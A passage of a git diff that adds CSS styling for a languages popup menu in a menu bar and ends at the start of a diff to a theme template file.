absolute; + right: 0px; + top: 35px; + z-index: 105; + border-radius: 5px; + font-size: 14px; + color: var(--fg); + background: var(--bg); + border: 1px solid var(--table-border-color); + margin: 0; + padding: 0px; + display: none; + flex-direction: column; + max-height: 300px; + width: 150px; + overflow: scroll; +} +#menubar-languages-popup .menu-bar-link { + border: 0; + margin: 0; + padding: 8px 20px; + line-height: 25px; + white-space: nowrap; + text-align: start; + cursor: pointer; + color: inherit; + background: inherit; + font-size: inherit; +} +#menubar-languages-popup .menu-bar-link:hover { + background-color: var(--theme-hover); +} .left-buttons { display: flex; diff --git a/theme/index.hbs b/theme/index.hbs index ecd2565f4..95c964391 100644 --- a/theme/index.hbs +++ b/theme/index.hbs @@ -144,34 +144,60 @@